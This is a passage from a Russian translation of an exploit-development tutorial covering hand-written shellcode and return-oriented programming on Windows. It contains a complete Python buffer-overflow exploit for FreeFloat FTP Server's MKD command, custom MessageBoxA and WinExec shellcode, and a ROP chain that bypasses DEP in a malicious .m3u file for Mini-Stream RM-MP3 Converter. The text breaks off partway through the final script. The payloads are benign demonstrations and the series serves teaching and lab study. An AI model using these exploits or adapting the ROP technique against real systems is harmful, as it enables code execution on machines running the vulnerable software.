arwin.exe user32.dll MessageBoxA

7.png


Хорошо. Давайте обработаем обе наши строки ASCII, как и раньше. Я сделал небольшой чит, чтобы убедиться, что они оба выровнены по 4 байта, но я призываю вас поиграть с ним и создать свой собственный заголовок и текст.


ASCII Text: ASCII Text:
b33f Pop the box!

Split Text into groups of 4 characters: Split Text into groups of 4 characters:
"b33f" "Pop "
"the "
"box!"

Reverse the order of the character groups: Reverse the order of the character groups:
"b33f" "box!"
"the "
"Pop "

Look on google for a ASCII to hex converter Look on google for a ASCII to hex converter
and convert each character while maintaining and convert each character while maintaining
the order: the order:
"\x62\x33\x33\x66" "\x62\x6F\x78\x21"
"\x74\x68\x65\x20"
"\x50\x6F\x70\x20"

To write these values to the stack simply add To write these values to the stack simply add
"\x68" infront of each group: "\x68" infront of each group:
"\x68\x62\x33\x33\x66" => PUSH "b33f" "\x68\x62\x6F\x78\x21" => PUSH "box!"
"\x68\x74\x68\x65\x20" => PUSH "the "
"\x68\x50\x6F\x70\x20" => PUSH "Pop "

Оставшиеся два других параметра, hWnd и uType, должны быть установлены в 0x00000000, что удобно, так как в любом случае нам понадобится переписать регистр для заполнения строк ASCII. Затем мы можем использовать этот регистр для передачи нулевых байтов в стек для этих параметров.

Это шелл-код, который я придумал (но опять же, возможны и другие варианты).

Doing things the right way from the get-go:


"\x33\xc0" => XOR EAX,EAX | Zero out EAX register
"\x50" => PUSH EAX | Push EAX to have null-byte padding for "b33f"
"\x68\x62\x33\x33\x66" => PUSH "b33f" | Push The ASCII string to the stack
"\x8B\xCC" => MOV ECX,ESP | Put a pointer to lpCaption string in ECX
"\x50" => PUSH EAX | Push EAX to have null-byte padding for "Pop the box!"
"\x68\x62\x6F\x78\x21" => PUSH "box!" \
"\x68\x74\x68\x65\x20" => PUSH "the " | Push The ASCII string to the stack
"\x68\x50\x6F\x70\x20" => PUSH "Pop " /
"\x8B\xD4" => MOV EDX,ESP | Put a pointer to lpText string in EDX
"\x50" => PUSH EAX | Push uType=0x00000000
"\x51" => PUSH ECX | Push lpCaption
"\x52" => PUSH EDX | Push lpText
"\x50" => PUSH EAX | Push hWnd=0x00000000
"\xBE\xEA\x07\x45\x7E" => MOV ESI,7E4507EA | Move the pointer to MessageBoxA() into ESI
"\xFF\xD6" => CALL ESI | Call MessageBoxA()

Как брать конфеты из процессора :3. На снимке экрана ниже вы можете увидеть опкод в отладчике и убедиться, что параметры отображаются правильно.
8.png


Python:
#!/usr/bin/python
   
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 6 of my Exploit Development tutorial           #
# series - http://www.fuzzysecurity.com/tutorials/expDev/6.html                    #
#----------------------------------------------------------------------------------#

import socket
import sys

#----------------------------------------------------------------------------------#
# (*) WinExec                                                                      #
# (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED                               #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# UINT WINAPI WinExec(            => PTR to WinExec                                #
#   __in  LPCSTR lpCmdLine,       => calc.exe                                      #
#   __in  UINT uCmdShow           => 0x1                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 26-bytes (metasploit version size => 227-bytes)                    #
#----------------------------------------------------------------------------------#
WinExec = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCmdLine
"\x68\x2E\x65\x78\x65"              # PUSH ".exe"
"\x68\x63\x61\x6C\x63"              # PUSH "calc"
"\x8B\xC4"                          # MOV EAX,ESP
"\x6A\x01"                          # PUSH 1
"\x50"                              # PUSH EAX
"\xBB\xED\x2A\x86\x7C"              # MOV EBX,kernel32.WinExec
"\xFF\xD3")                         # CALL EBX

#----------------------------------------------------------------------------------#
# (*) MessageBoxA                                                                  #
# (*) arwin.exe => user32.dll - MessageBoxA 0x7E4507EA                             #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# int WINAPI MessageBox(          => PTR to MessageBoxA                            #
#   __in_opt  HWND hWnd,          => 0x0                                           #
#   __in_opt  LPCTSTR lpText,     => Pop the box!                                  #
#   __in_opt  LPCTSTR lpCaption,  => b33f                                          #
#   __in      UINT uType          => 0x0                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 39-bytes (metasploit version size => 287-bytes)                    #
#----------------------------------------------------------------------------------#
MessageBoxA = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCaption
"\x68\x62\x33\x33\x66"              # PUSH "b33f"
"\x8B\xCC"                          # MOV ECX,ESP   => PTR to lpCaption
"\x50"                              # PUSH EAX      => padding for lpText
"\x68\x62\x6F\x78\x21"              # PUSH "box!"
"\x68\x74\x68\x65\x20"              # PUSH "the "
"\x68\x50\x6F\x70\x20"              # PUSH "Pop "
"\x8B\xD4"                          # MOV EDX,ESP   => PTR to lpText
"\x50"                              # PUSH EAX - uType=0x0
"\x51"                              # PUSH ECX - lpCaption
"\x52"                              # PUSH EDX - lpText
"\x50"                              # PUSH EAX - hWnd=0x0
"\xBE\xEA\x07\x45\x7E"              # MOV ESI,USER32.MessageBoxA
"\xFF\xD6")                         # CALL ESI

#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#

buffer = "\x90"*20 + MessageBoxA
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

9.png
 
Часть 7: Возвратно Ориентированное Программирование

"Руки Вверх! Это ОгROPлние !!!". Итак, у вас есть чашка кофе и вы хотите перейти на новый уровень эксплуатации стека. Что ж, сегодня мы будем заниматься ROP (Возвратным Ориентированным Программированием). В отличие от предыдущего туториала, мы будем создавать параметры для вызовов Windows API в стеке, а затем выполнять их. Как и во всех других частях туториала, ROP потребует от вас много работы, чтобы овладеть ею. Опять же, этот туториал не охватывает и не может охватить все, что нужно знать. Если вы хотите лучше понять ROP, посмотрите туториал по corelanc0d3r здесь (https://www.corelan.be/index.php/20...t-10-chaining-dep-with-rop-the-rubikstm-cube/).

Чтобы внедрить эту технику, мы создадим новый эксплоит для программы "Mini-Stream RM-MP3 Converter 3.1.2.1". Здесь (https://www.exploit-db.com/exploits/20116/) есть один предыдущий эксплоит для этой программы, но, как вы увидите, мы собираемся сделать что-то другое и, возможно, более эффективное!

Виртуальная машина: Windows 7 (Подойдет любой Windows 7, я использую Win7 Pro SP1)
Плохие символы: "\x00\x09\x0A"
Уязвимое программное обеспечение: (https://www.exploit-db.com/wp-conte...b242da250c0da3-Mini-streamRM-MP3Converter.exe)

Введение

Так что же это за безумие и почему вы должны заботиться об этом? Люди годами злоупотребляли переполнением стека. Насколько мне известно, начиная с WinXP SP2 и Win Server 2003 SP1, в Windows реализована новая функция безопасности, предотвращающая выполнение кода из неисполняемых диапазонов памяти. DEP (Data Execution Prevention) поставляется в двух вариантах.

Аппаратное обеспечение DEP: Центральный процессор помечает страницы памяти как неисполняемые.
Программное обеспечение DEP: Альтернатива для процессоров, которые не поддерживают эти функции.


Процессоры, которые поддерживают аппаратно технологию DEP, будут отказываться выполнять код из диапазонов памяти, в которых установлен бит неисполнения (NX). Основной причиной этого является предотвращение внедрения пользовательского/вредоносного кода в другую программу для последующего выполнения. Это было в основном реализовано для создания препятствий для вредоносных программ и эксплойтов на основе стеков. Однако, иногда DEP может привести к тому, что программы будут вести себя непреднамеренно и ошибочно, потому что это мешает законным процессам делать то, что они должны делать. Для решения этой проблемы DEP может быть настроен двумя способами в операционной системе вашего хоста.

Режим согласия: DEP включен только для системных процессов и специально определенных программ.
Режим отказа: DEP включен для всех программ и служб, кроме тех, которые специально/вручную отключены.


Так что же это значит для разработки эксплоитов? Когда мы пытаемся выполнить любой код в разделе памяти с поддержкой DEP (если мы говорим об регистре EIP или шеллкоде), произойдет нарушение доступа "STATUS_ACCESS_VIOLATION (0xc0000005)", что приведет к завершению процесса. Это явно плохо для нас! Однако интересным моментом в DEP является то, что он может быть отключен для отдельных процессов, что практически означает, что существуют вызовы Windows API, которые могут пометить диапазон памяти как исполняемый. Основная проблема остается, однако, если мы не можем выполнить какой-либо код, как мы можем сделать вызов функций Windows API?

Введение в Возвратно-Ориентированное Программирование (ROP). Этот метод был впервые представлен Sebastian Krahmer в 2005 году на SUSE Linux. Вы можете (и должны ) прочитать его статью здесь (https://users.suse.com/~krahmer/no-nx.pdf). Основная идея заключается в том, что мы собираемся заимствовать существующие чанки кода (или, как мы их позже назовем, гаджеты) из загруженных модулей, чтобы создать параметры для нашего вызова Windows API. Причина, по которой это работает, заключается в том, что нам разрешено "выполнять" один единственный тип инструкции, пока включен DEP, только инструкцию RETN. По сути, RETN выполняет перенаправление выполнения на следующий указатель в стеке. Выполняя RETN, мы фактически не выполняем никакого кода. В этом смысле это похоже на инструкцию NOP. Это должно прояснить термин "возвратно-ориентированное программирование". Мы заполним стек указателями из модулей приложения, которые содержат последовательности инструкций, заканчивающиеся инструкцией RETN. Объединение этих последовательностей вместе позволит нам выполнить код высокого уровня. Следующий пример должен помочь проиллюстрировать это.
(1) All our pointers on the stack directly (2) All our pointers on the stack reference a location
reference a RETN. in memory that contains instructions followed by
a RETN (=gadget).

ESP -> ???????? => RETN ESP -> ???????? => POP EAX # RETN
???????? => RETN ffffffff => we put this value in EAX
???????? => RETN ???????? => INC EAX # RETN
???????? => RETN ???????? => XCHG EAX,EDX # RETN

(1) In this case our RETN's will simply (2) This is just an example but essentially we are
increment ESP without doing anything. zeroing out EDX using pre-existing instructions
that are located somewhere in the application
without actally executing any code.

Вы правильно поняли! Мы собираемся перечислить все ROP-гаджеты и затем объединить их в цепочку для создания нашего вызова API, который, в свою очередь, отключит DEP и позволит нам выполнить нашу полезную нагрузку второго этапа. Этот метод основан на нашей способности надежно предсказать, где определенная инструкция будет находиться в определенном модуле, поэтому мы можем использовать гаджеты только из модулей non-rebase и non-aslr.

Существует множество различных вызовов API, доступных в сборках и пакетах обновления Windows. Эта таблица взята с сайта corelan и дает хороший обзор того, что можно использовать для отключения DEP на основе билда и версии сервис пака операционной системы .

0.png


Как вы видите, существует более одного способа это сделать. Некоторые методы более универсальны, чем другие. Эти различные вызовы API должным образом документированы в библиотеке MSDN, поэтому найдите некоторое время, чтобы прочитать их и лучше понять параметры, которые им требуются. Для модулей операционной сисьемы будет включена поддержка ASLR, поэтому в целом мы увидим, содержат ли модули приложения указатели на какой-либо из этих вызовов API. На основании того, что доступно, мы можем начать строить нашу ROP-цепочку.

По сути, мы можем написать полезную нагрузку ROP первого этапа. 1) Мы можем загрузить все параметры API в различные регистры и использовать инструкцию PUSHAD, чтобы поместить параметры в стек в правильном порядке (это то, что мы будем делать сегодня). 2) мы можем напрямую записать параметры в стек в правильном порядке и затем вернуться к ним (это будет более сложно).

Наконец, я должен упомянуть, что также возможно создать всю полезную нагрузку в ROP. Это требует серьезных навыков ниндзя и является гораздо менее практичным, чем создание ROP-Stager, который отключает DEP, но тем не менее это круто.

Сбор Примитивов

Разработка эксплоитов - это прояснение ваших фактов. Чем больше информации вы соберете, тем яснее все будет, тем быстрее вы перейдете от POC до самого эксплоита. Давайте начнем с нашего POC. Я немного подправил и изменил POC, чтобы получить базовую структуру буфера, которая перезаписывает регистр EIP четырьмя буквами B (я полагаю, что теперь вы должны быть в состоянии использовать шаблон метасплойта).

Python:
#!/usr/bin/python

import sys, struct

file="crash.m3u"


#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A'                                            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572

writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

Ладно. Подключите Mini-Stream к отладчику и откройте файл "crash.m3u". Вы можете увидеть результирующий сбой на скриншоте ниже. Есть несколько вещей, на которые стоит обратить внимание: 1) Наш буфер находится в регистре ESP, что является хорошей новостью, потому что мы можем перезаписать регистр EIP простой инструкцией RETN, чтобы попасть в нашу цепочку ROP и 2) мы должны принять к сведению, что регистр ESP указывает на 4 байта в наш буфер на языке Си, поэтому нам нужно будет компенсировать эти байты позже.

1.png


Хорошо. Теперь у нас есть базовое представление о расположении памяти. Давайте разберемся с моной и посмотрим на загруженные модули (помните, что не-rebase, не-aslr и никаких плохих символов). Похоже, есть только одна DLL, которая соответствует всем нашим критериям (MSRMfilter03.dll). Мы можем позволить моне делать больше тяжелой работы, заставляя ее искать указатели API внутри той динамической библиотеки, которую мы можем использовать для нашей цепочки ROP. Вы можете увидеть результаты на скриншотах ниже

!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'


2.png


3.png


Последний этап процесса перечисления состоит в том, чтобы мона сгенерировала список ROP-гаджетов на основе выбранного нами модуля. Кстати, это одна из самых удивительных особенностей моны и свидетельство усилий, которые приложил corelanc0d3r !! Мона сгенерирует пару важных файлов: "rop.txt" (необработанный список всех ROP-гаджетов), "rop_suggestions.txt" (сильно отфильтрованный список ROP-гаджетов, основанный на функции), "stackpivot.txt" (список гаджетов, которые разворачивают регистр ESP, если они вам нужны) и «rop_virtualprotect.txt» (который пытается создать цепочку ROP на основе функции VirtualProtect). Я предлагаю вам держать эти файлы открытыми для удобства пользования, если вы используете редактор notepad++, вы можете просто открыть их в отдельных вкладках. Несмотря на то, что мы собираемся построить цепочку на основе функции VirtualAlloc, "rop_virtualprotect.txt" все еще полезно посмотреть, поскольку некоторые базовые гаджеты нам понадобятся.

!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'

4.png



Создаем нашу ROP-цепочку

Прежде чем мы перейдем к серьезным вещам, давайте обновим наш POC. Как мы уже видели, мы можем перезаписать регистр EIP указателем на инструкцию RETN, потому что наш буфер находится в регистре ESP. Если вы откроете "rop.txt", вы можете выбрать любую из инструкций и изменить адрес, чтобы просто сохранить инструкцию RETN. Пока мы это делаем, мы собираемся установить переменную для нашей цепочки ROP, и мы не забудем компенсировать те 4 байта, которые мы заметили ранее.

Python:
#!/usr/bin/python

import sys, struct

file="crash.m3u"

rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP


#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))

writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

Хорошо, давайте посмотрим на функцию VirtualAlloc. Я предлагаю вам уделить некоторое время чтению документации по MSDN, чтобы лучше понять параметры, которые мы будем использовать.

Structure: Parameters:

LPVOID WINAPI VirtualAlloc( => A pointer to VirtualAlloc()
_In_opt_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize (0x1)
_In_ DWORD flAllocationType, => flAllocationType (0x1000)
_In_ DWORD flProtect => flProtect (0x40)
);

Как вы можете видеть, структура API-вызова относительно проста. Большинство значений, которые нам нужно установить, определены отдельно. Я также планирую структуру функции VirtualProtect, так как она являются наиболее распространенными ROP-Stager и является универсальным вызовом API во всех сборках Windows.

Structure: Parameters:

BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect()
_In_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize up to you to chose as needed (0x201)
_In_ DWORD flNewProtect, => flNewProtect (0x40)
_Out_ PDWORD lpflOldProtect => A writable pointer
);

Имея в виду эту информацию. Давайте обновим наш POC, чтобы у нас было четкое представление о шагах, которые нам нужно предпринять для создания нашей цепочки ROP.


Python:
#!/usr/bin/python

import sys, struct

file="crash.m3u"

#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP


#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))

writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

Наш план битвы теперь состоит в том, чтобы собрать последовательности ROP-гаджетов, которые загружают перечисленные выше значения в соответствующие регистры. Когда у нас есть все инструкции, нам нужно их перемешать, потому что мы должны помнить, что некоторые инструкции изменят регистры, которые мы установили ранее. Давайте начнем с того, что соберем несколько инструкций, которые мы можем легко найти, а потом позаботимся об остальном. Помните, что вы хотите иметь как можно меньше инструкций для каждой последовательности.

Bash:
(1) EDI -> We need to put a ROP-Nop in EDI

0x10029b57 # POP EDI # RETN

0x1002b9ff # ROP-Nop (we already have this value from EIP)


(2) EBP -> Redirect Execution flow to ESP

0x100532ed # POP EBP # RETN

0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')


(3) EAX -> Fill with a regular NOP

0x10030361 # POP EAX # RETN

0x90909090 # NOP (just a regular NOP)


(4) We need to end our chain with a PUSHAD

0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)

Итак, у нас есть все что нужно. Другие гаджеты потребуют некоторых головоломок и креативности, но с настойчивостью вы сможете связать вместе необходимые нам инструкции. Цепочка, которую я сделаю, определенно не единственный вариант. Вероятно, существует довольно много способов структурировать ваши гаджеты, и некоторые из них, несомненно, будут более эффективными. Время посмотреть внимательно на файл "rop.txt"

(5) EBX -> dwSize (0x1)
0x10013b1c # POP EBX # RETN
0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
0x100319d3 # INC EBX # FPATAN # RETN \ Increasing EBX twice will set EBX to 0x00000001
0x100319d3 # INC EBX # FPATAN # RETN /

(6) EDX -> flAllocationType (0x1000)
0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
0x41414141 # padding for POP EBP (compensation for the POP)
0x10013b1c # POP EBX # RETN
0x1A750FFF # ebx+edx => 0x1000 flAllocationType (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
0x1002b9ff # Rop-Nop to compensate \
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate | This is to compensate for the POP and RETN 10
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate /

(7) ECX -> flProtect (0x40)
(This technique works because EDX points to a valid memory location at run-time!! I tested this on windows
XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
universal.)
0x100280de # POP ECX # RETN
0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN \ ECX will be set to 0x00000001
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN /
0x1002a487 # ADD ECX,ECX # RETN \
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN /

(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)

Некоторые из этих последовательностей кажутся немного сложными, но их нетрудно понять. Потратьте некоторое время, чтобы просмотреть их, чтобы вы прочувствовали их. Как вы можете видеть, некоторые из этих гаджетов манипулируют несколькими регистрами, чтобы загрузить правильное значение. Мы должны упорядочить наши гаджеты таким образом, чтобы они не влияли на нашу цепочку ROP, поэтому просто помните об этом. Время собрать вещи и реструктурировать наш POC.

Python:
#!/usr/bin/python

import sys, struct

file="crash.m3u"

#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#

#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))

writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


Вы можете пройтись по цепочке ROP в отладчике, чтобы убедиться, что все работает, как задумано. На скриншоте ниже вы можете видеть, что вызов функции VirtualAlloc установлен в стеке. Любая полезная нагрузка, которую мы размещаем после этого вызова, будет выполнена.

5.png


Шеллкод+ Конец игры

Осталось только вставить некоторый шеллкод в качестве полезной нагрузки второго этапа. Нам не удалось выделить много памяти, поэтому мы ограничены в пространстве, но я вставил шелл-код калькулятора автора SkyLined (вы можете посмотреть здесь(https://code.google.com/archive/p/win-exec-calc-shellcode/), если вам интересно). Можно получить больше памяти, но я оставляю это на усмотрение усердного читателя.

Python:
#!/usr/bin/python

#----------------------------------------------------------------------------------#
# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u)                            #
# OS: Win7 Pro SP1                                                                 #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #
#          /ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe        #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 7 of my Exploit Development tutorial           #
# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html                    #
#----------------------------------------------------------------------------------#

import sys, struct

file="crash.m3u"

#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
